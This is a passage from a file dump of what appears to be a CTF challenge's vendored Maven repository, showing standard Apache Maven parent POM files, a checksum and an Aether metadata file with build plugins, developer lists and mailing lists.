previous artifacts to compare cause Clirr to blow up. And Clirr needs to be smart enough to only look at the previous release artifact so we can make this work during snapshot builds, otherwise it just blows up when you try to do a release.\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <executions>\n              <execution>\n                <id>clirr-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>-->\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>3.1</version>\n            <configuration>\n              <targetJdk>1.5</targetJdk>\n              <rulesets>\n                <ruleset>rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n            <executions>\n              <execution>\n                <id>cpd-check</id>\n                <phase>verify</phase>\n                <goals>\n                  <goal>cpd-check</goal>\n                </goals>\n              </execution>\n            </executions>\n          </plugin>\n        </plugins>\n      </build>\n    </profile>\n    <profile>\n      <id>reporting</id>\n      <reporting>\n        <plugins>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-project-info-reports-plugin</artifactId>\n            <version>2.7</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-surefire-report-plugin</artifactId>\n            <version>2.16</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-checkstyle-plugin</artifactId>\n            <version>2.12</version>\n            <configuration>\n              <configLocation>config/maven_checks.xml</configLocation>\n              <headerLocation>config/maven-header.txt</headerLocation>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <id>default</id>\n                <reports>\n                  <report>checkstyle</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-pmd-plugin</artifactId>\n            <version>3.1</version>\n            <configuration>\n              <targetJdk>1.5</targetJdk>\n              <rulesets>\n                <ruleset>rulesets/maven.xml</ruleset>\n              </rulesets>\n              <excludeRoots>\n                <excludeRoot>${project.build.directory}/generated-sources/modello</excludeRoot>\n                <excludeRoot>${project.build.directory}/generated-sources/plugin</excludeRoot>\n              </excludeRoots>\n            </configuration>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-jxr-plugin</artifactId>\n            <version>2.4</version>\n            <reportSets>\n              <reportSet>\n                <id>default</id>\n                <reports>\n                  <report>jxr</report>\n                  <report>test-jxr</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!-- Taglist Plugin must be executed after JXR Plugin -->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>taglist-maven-plugin</artifactId>\n            <version>2.4</version>\n          </plugin>\n          <plugin>\n            <groupId>org.apache.maven.plugins</groupId>\n            <artifactId>maven-javadoc-plugin</artifactId>\n            <version>2.9.1</version>\n            <configuration>\n              <notimestamp>true</notimestamp>\n              <links>\n                <link>http://commons.apache.org/proper/commons-collections/javadocs/api-release</link>\n                <link>http://junit.org/javadoc/4.10/</link>\n                <link>http://logging.apache.org/log4j/1.2/apidocs/</link>\n                <link>http://velocity.apache.org/engine/releases/velocity-1.5/apidocs/</link>\n              </links>\n              <detectLinks>true</detectLinks>\n              <tagletArtifacts>\n                <tagletArtifact>\n                  <groupId>org.apache.maven.plugin-tools</groupId>\n                  <artifactId>maven-plugin-tools-javadoc</artifactId>\n                  <version>3.2</version>\n                </tagletArtifact>\n                <tagletArtifact>\n                  <groupId>org.codehaus.plexus</groupId>\n                  <artifactId>plexus-javadoc</artifactId>\n                  <version>1.0</version>\n                </tagletArtifact>\n              </tagletArtifacts>\n            </configuration>\n            <reportSets>\n              <reportSet>\n                <id>default</id>\n                <reports>\n                  <report>javadoc</report>\n                  <report>test-javadoc</report>\n                </reports>\n              </reportSet>\n            </reportSets>\n          </plugin>\n          <!--plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>clirr-maven-plugin</artifactId>\n            <version>2.2.2</version>\n          </plugin-->\n          <plugin>\n            <groupId>org.codehaus.mojo</groupId>\n            <artifactId>findbugs-maven-plugin</artifactId>\n            <version>2.5.3</version>\n          </plugin>\n          <plugin>\n            <groupId>org.codehaus.sonar-plugins</groupId>\n            <artifactId>maven-report</artifactId>\n            <version>0.1</version>\n          </plugin>\n        </plugins>\n      </reporting>\n    </profile>\n  </profiles>\n</project>\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/24/maven-parent-24.pom.sha1",
    "content": "277cf98c25de4d7512aa6403635810c1018e82b0"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/26/_remote.repositories",
    "content": "#NOTE: This is an Aether internal implementation file, its format can be changed without prior notice.\n#Sat Jun 02 10:57:33 CST 2018\nmaven-parent-26.pom>central=\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/maven-repository/org/apache/maven/maven-parent/26/maven-parent-26.pom",
    "content": "\n\n<!--\nLicensed to the Apache Software Foundation (ASF) under one\nor more contributor license agreements.  See the NOTICE file\ndistributed with this work for additional information\nregarding copyright ownership.  The ASF licenses this file\nto you under the Apache License, Version 2.0 (the\n\"License\"); you may not use this file except in compliance\nwith the License.  You may obtain a copy of the License at\n\n  http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing,\nsoftware distributed under the License is distributed on an\n\"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\nKIND, either express or implied.  See the License for the\nspecific language governing permissions and limitations\nunder the License.\n-->\n\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n\n  <!-- for more information, see the documentation of this POM: http://maven.apache.org/pom/maven/ -->\n  <parent>\n    <groupId>org.apache</groupId>\n    <artifactId>apache</artifactId>\n    <version>16</version>\n    <relativePath>../asf/pom.xml</relativePath>\n  </parent>\n\n  <groupId>org.apache.maven</groupId>\n  <artifactId>maven-parent</artifactId>\n  <version>26</version>\n  <packaging>pom</packaging>\n\n  <name>Apache Maven</name>\n  <description>Maven is a software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information.</description>\n  <url>http://maven.apache.org/</url>\n  <inceptionYear>2002</inceptionYear>\n\n  <!-- Developers listed by PMC Chair, PMC, Committers, Contributers, all alphabetical-->\n  <developers>\n    <developer>\n      <id>hboutemy</id>\n      <name>Hervé Boutemy</name>\n      <email>hboutemy@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Chair</role>\n      </roles>\n      <timezone>Europe/Paris</timezone>\n    </developer>\n    <developer>\n      <id>aheritier</id>\n      <name>Arnaud Héritier</name>\n      <email>aheritier@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>baerrach</id>\n      <name>Barrie Treloar</name>\n      <email>baerrach@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>Australia/Adelaide</timezone>\n    </developer>\n    <developer>\n      <id>bimargulies</id>\n      <name>Benson Margulies</name>\n      <email>bimargulies@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>America/New_York</timezone>\n    </developer>\n    <developer>\n      <id>brett</id>\n      <name>Brett Porter</name>\n      <email>brett@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+10</timezone>\n    </developer>\n    <developer>\n      <id>brianf</id>\n      <name>Brian Fox</name>\n      <email>brianf@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>carlos</id>\n      <name>Carlos Sanchez</name>\n      <email>carlos@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dennisl</id>\n      <name>Dennis Lundberg</name>\n      <email>dennisl@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>dfabulich</id>\n      <name>Daniel Fabulich</name>\n      <email>dfabulich@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>dkulp</id>\n      <name>Daniel Kulp</name>\n      <email>dkulp@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>evenisse</id>\n      <name>Emmanuel Venisse</name>\n      <email>evenisse@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>jdcasey</id>\n      <name>John Casey</name>\n      <email>jdcasey@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>jvanzyl</id>\n      <name>Jason van Zyl</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>khmarbaise</id>\n      <name>Karl Heinz Marbaise</name>\n      <email>khmarbaise@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>krosenvold</id>\n      <name>Kristian Rosenvold</name>\n      <email>krosenvold@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>markh</id>\n      <name>Mark Hobson</name>\n      <email>markh@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>mkleint</id>\n      <name>Milos Kleint</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>oching</id>\n      <name>Maria Odea B. Ching</name>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>olamy</id>\n      <name>Olivier Lamy</name>\n      <email>olamy@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>Australia/Melbourne</timezone>\n    </developer>\n    <developer>\n      <id>pgier</id>\n      <name>Paul Gier</name>\n      <email>pgier@apache.org</email>\n      <organization>Red Hat</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>rfscholte</id>\n      <name>Robert Scholte</name>\n      <email>rfscholte@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>Europe/Amsterdam</timezone>\n    </developer>\n    <developer>\n      <id>rgoers</id>\n      <name>Ralph Goers</name>\n      <email>rgoers@apache.org</email>\n      <organization>Intuit</organization>\n      <timezone>-8</timezone>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>snicoll</id>\n      <name>Stephane Nicoll</name>\n      <email>snicoll@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>stephenc</id>\n      <name>Stephen Connolly</name>\n      <email>stephenc@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>struberg</id>\n      <name>Mark Struberg</name>\n      <email>struberg@apache.org</email>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>vsiveton</id>\n      <name>Vincent Siveton</name>\n      <email>vsiveton@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>wfay</id>\n      <name>Wayne Fay</name>\n      <email>wfay@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>PMC Member</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n\n    <!--Committers-->\n    <developer>\n      <id>agudian</id>\n      <name>Andreas Gudian</name>\n      <email>agudian@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>Europe/Berlin</timezone>\n    </developer>\n    <developer>\n      <id>andham</id>\n      <name>Anders Hammar</name>\n      <email>andham@apache.org</email>\n      <timezone>+1</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bdemers</id>\n      <name>Brian Demers</name>\n      <organization>Sonatype</organization>\n      <email>bdemers@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bellingard</id>\n      <name>Fabrice Bellingard</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bentmann</id>\n      <name>Benjamin Bentmann</name>\n      <email>bentmann@apache.org</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>cstamas</id>\n      <name>Tamas Cservenak</name>\n      <organization>Sonatype</organization>\n      <email>cstamas@apache.org</email>\n      <timezone>+1</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dantran</id>\n      <name>Dan Tran</name>\n      <email>dantran@apache.org</email>\n      <timezone>-8</timezone>      \n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dbradicich</id>\n      <name>Damian Bradicich</name>\n      <organization>Sonatype</organization>\n      <email>dbradicich@apache.org</email>\n      <timezone>-5</timezone>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>fgiust</id>\n      <name>Fabrizio Giustina</name>\n      <email>fgiust@apache.org</email>\n      <organization>openmind</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>godin</id>\n      <name>Evgeny Mandrikov</name>\n      <organization>SonarSource</organization>\n      <email>godin@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+3</timezone>\n    </developer>\n    <developer>\n      <id>handyande</id>\n      <name>Andrew Williams</name>\n      <email>handyande@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>0</timezone>\n    </developer>\n    <developer>\n      <id>ifedorenko</id>\n      <name>Igor Fedorenko</name>\n      <email>igor@ifedorenko.com</email>\n      <organization>Sonatype</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>imod</id>\n      <name>Dominik Bartholdi</name>\n      <email>imod@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>Europe/Zurich</timezone>\n    </developer>     \n    <developer>\n      <id>jjensen</id>\n      <name>Jeff Jensen</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>ltheussl</id>\n      <name>Lukas Theussl</name>\n      <email>ltheussl@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>mauro</id>\n      <name>Mauro Talevi</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>mfriedenhagen</id>\n      <name>Mirko Friedenhagen</name>\n      <email>mfriedenhagen@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>michaelo</id>\n      <name>Michael Osipov</name>\n      <email>michaelo@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>Europe/Berlin</timezone>\n    </developer>\n    <developer>\n      <id>nicolas</id>\n      <name>Nicolas de Loof</name>\n      <roles>\n        <role>Committer</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>rafale</id>\n      <name>Raphaël Piéroni</name>\n      <email>rafale@apache.org</email>\n      <organization>Dexem</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>simonetripodi</id>\n      <name>Simone Tripodi</name>\n      <email>simonetripodi@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>tchemit</id>\n      <name>Tony Chemit</name>\n      <email>tchemit@apache.org</email>\n      <organization>CodeLutin</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>Europe/Paris</timezone>\n    </developer>\n    <developer>\n      <id>tibordigana</id>\n      <name>Tibor Digaňa</name>\n      <email>tibordigana@apache.org</email>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>Europe/Bratislava</timezone>\n    </developer>\n    <developer>\n      <id>vmassol</id>\n      <name>Vincent Massol</name>\n      <email>vmassol@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Committer</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <!--End Committers-->\n\n    <developer>\n      <id>aramirez</id>\n      <name>Allan Q. Ramirez</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>bayard</id>\n      <name>Henri Yandell</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>chrisjs</id>\n      <name>Chris Stevenson</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dblevins</id>\n      <name>David Blevins</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>dlr</id>\n      <name>Daniel Rall</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>epunzalan</id>\n      <name>Edwin Punzalan</name>\n      <email>epunzalan@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-8</timezone>\n    </developer>\n    <developer>\n      <id>felipeal</id>\n      <name>Felipe Leme</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jmcconnell</id>\n      <name>Jesse McConnell</name>\n      <email>jmcconnell@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>joakime</id>\n      <name>Joakim Erdfelt</name>\n      <email>joakime@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-5</timezone>\n    </developer>\n    <developer>\n      <id>jstrachan</id>\n      <name>James Strachan</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>jtolentino</id>\n      <name>Ernesto Tolentino Jr.</name>\n      <email>jtolentino@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+8</timezone>\n    </developer>\n    <developer>\n      <id>mperham</id>\n      <name>Mike Perham</name>\n      <email>mperham@gmail.com</email>\n      <organization>IBM</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ogusakov</id>\n      <name>Oleg Gusakov</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>pschneider</id>\n      <name>Patrick Schneider</name>\n      <email>pschneider@gmail.com</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-6</timezone>\n    </developer>\n    <developer>\n      <id>ptahchiev</id>\n      <name>Petar Tahchiev</name>\n      <email>ptahchiev@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+2</timezone>\n    </developer>\n    <developer>\n      <id>rinku</id>\n      <name>Rahul Thakur</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>shinobu</id>\n      <name>Shinobu Kuwai</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>smorgrav</id>\n      <name>Torbjorn Eikli Smorgrav</name>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>trygvis</id>\n      <name>Trygve Laugstol</name>\n      <email>trygvis@apache.org</email>\n      <organization>ASF</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n    <developer>\n      <id>wsmoak</id>\n      <name>Wendy Smoak</name>\n      <email>wsmoak@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>-7</timezone>\n    </developer>\n    <developer>\n      <id>jruiz</id>\n      <name>Johnny Ruiz III</name>\n      <email>jruiz@apache.org</email>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n    </developer>\n    <developer>\n      <id>kenney</id>\n      <name>Kenney Westerhof</name>\n      <email>kenney@apache.org</email>\n      <organization>Neonics</organization>\n      <roles>\n        <role>Emeritus</role>\n      </roles>\n      <timezone>+1</timezone>\n    </developer>\n  </developers>\n\n  <mailingLists>\n    <mailingList>\n      <name>Maven User List</name>\n      <subscribe>users-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>users-unsubscribe@maven.apache.org</unsubscribe>\n      <post>users@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-users</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/users@maven.apache.org/</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Users-f40176.html</otherArchive>\n        <otherArchive>http://maven-users.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Developer List</name>\n      <subscribe>dev-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>dev-unsubscribe@maven.apache.org</unsubscribe>\n      <post>dev@maven.apache.org</post>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-dev</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/dev@maven.apache.org/</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Developers-f142166.html</otherArchive>\n        <otherArchive>http://maven-dev.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Issues List</name>\n      <subscribe>issues-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>issues-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-issues/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/issues@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Issues-f219593.html</otherArchive>\n        <otherArchive>http://maven-issues.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Commits List</name>\n      <subscribe>commits-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>commits-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-commits/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/commits@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Commits-f277168.html</otherArchive>\n        <otherArchive>http://maven-commits.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Announcements List</name>\n      <post>announce@maven.apache.org</post>\n      <subscribe>announce-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>announce-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-announce/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/announce@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Announcements-f326045.html</otherArchive>\n        <otherArchive>http://maven-announce.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n    <mailingList>\n      <name>Maven Notifications List</name>\n      <subscribe>notifications-subscribe@maven.apache.org</subscribe>\n      <unsubscribe>notifications-unsubscribe@maven.apache.org</unsubscribe>\n      <archive>http://mail-archives.apache.org/mod_mbox/maven-notifications/</archive>\n      <otherArchives>\n        <otherArchive>http://www.mail-archive.com/notifications@maven.apache.org</otherArchive>\n        <otherArchive>http://maven.40175.n5.nabble.com/Maven-Notifications-f301718.html</otherArchive>\n        <otherArchive>http://maven-notifications.markmail.org/</otherArchive>\n      </otherArchives>\n    </mailingList>\n  </mailingLists>\n\n  <scm>\n    <connection>scm:svn:http://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-26</connection>\n    <developerConnection>scm:svn:https://svn.apache.org/repos/asf/maven/pom/tags/maven-parent-26</developerConnection>\n    <url>http://svn.apache.org/viewvc/maven/pom/tags/maven-parent-26</url>\n  </scm>\n\n  <ciManagement>\n    <system>Jenkins</system>\n    <url>https://builds.apache.org/view/M-R/view/Maven</url>\n    <notifiers>\n      <notifier>\n        <type>mail</type>\n        <configuration>\n          <address>notifications@maven.apache.org</address>\n        </configuration>\n      </notifier>\n    </notifiers>\n  </ciManagement>\n  <distributionManagement>\n    <site>\n      <id>apache.website</id>\n      <url>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path}</url>\n    </site>\n  </distributionManagement>\n\n  <properties>\n    <maven.compiler.source>1.5</maven.compiler.source>\n    <maven.compiler.target>1.5</maven.compiler.target>    \n    <sonar.host.url>https://analysis.apache.org/</sonar.host.url>\n    <maven.site.cache>${user.home}/maven-sites</maven.site.cache>\n    <maven.site.path>../..</maven.site.path><!-- to be overridden -->\n    <mavenPluginToolsVersion>3.3</mavenPluginToolsVersion>\n    <!-- don't fail check for some rules that are too hard to enforce (could even be told broken for some) -->\n    <checkstyle.violation.ignore>RedundantThrows,NewlineAtEndOfFile,ParameterNumber,MethodLength,FileLength</checkstyle.violation.ignore>\n  </properties>\n\n  <dependencyManagement>\n    <dependencies>\n      <dependency>\n        <groupId>org.codehaus.plexus</groupId>\n        <artifactId>plexus-component-annotations</artifactId>\n        <version>1.5.5</version>\n      </dependency>\n      <dependency>\n        <groupId>org.apache.maven.plugin-tools</groupId>\n        <artifactId>maven-plugin-annotations</artifactId>\n        <version>${mavenPluginToolsVersion}</version>\n        <scope>provided</scope>\n      </dependency>\n    </dependencies>\n  </dependencyManagement>\n\n  <repositories>\n    <repository>\n      <id>apache.snapshots</id>\n      <name>Apache Snapshot Repository</name>\n      <url>http://repository.apache.org/snapshots</url>\n      <releases>\n        <enabled>false</enabled>\n      </releases>\n    </repository>\n  </repositories>\n\n  <build>\n    <pluginManagement>\n      <plugins>\n        <plugin><!-- TODO remove when upgrading parent pom to version 16 -->\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <configuration>\n            <source>${maven.compiler.source}</source>\n            <target>${maven.compiler.target}</target>\n          </configuration>\n        </plugin>\n        <!-- The Maven universe targets Java 1.5 -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-plugin-plugin</artifactId>\n          <version>${mavenPluginToolsVersion}</version>\n          <configuration>\n            <useJava5>true</useJava5>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.modello</groupId>\n          <artifactId>modello-maven-plugin</artifactId>\n          <version>1.8.1</version>\n          <configuration>\n            <useJava5>true</useJava5>\n          </configuration>\n        </plugin>\n        <!-- site publishing configuration -->\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-site-plugin</artifactId>\n          <configuration>\n            <!-- for multi-modules site staging -->\n            <topSiteURL>scm:svn:https://svn.apache.org/repos/infra/websites/production/maven/content/${maven.site.path}</topSiteURL>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-scm-publish-plugin</artifactId>\n          <configuration>\n            <checkoutDirectory>${maven.site.cache}/${maven.site.path}</checkoutDirectory>\n            <tryUpdate>true</tryUpdate>\n          </configuration>\n        </plugin>\n        <!-- Plexus description generator is either plexus-maven-plugin or plexus-component-metadata -->\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-maven-plugin</artifactId>\n          <version>1.3.8</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.plexus</groupId>\n          <artifactId>plexus-component-metadata</artifactId>\n          <version>1.5.5</version>\n        </plugin>\n        <plugin>\n          <groupId>org.apache.maven.plugins</groupId>\n          <artifactId>maven-release-plugin</artifactId>\n          <version>2.5.1</version>\n          <configuration>\n            <useReleaseProfiles>true</useReleaseProfiles>\n            <releaseProfiles>apache-release</releaseProfiles>\n            <goals>deploy</goals>\n            <arguments>${arguments}</arguments>\n          </configuration>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>findbugs-maven-plugin</artifactId>\n          <version>2.5.5</version>\n        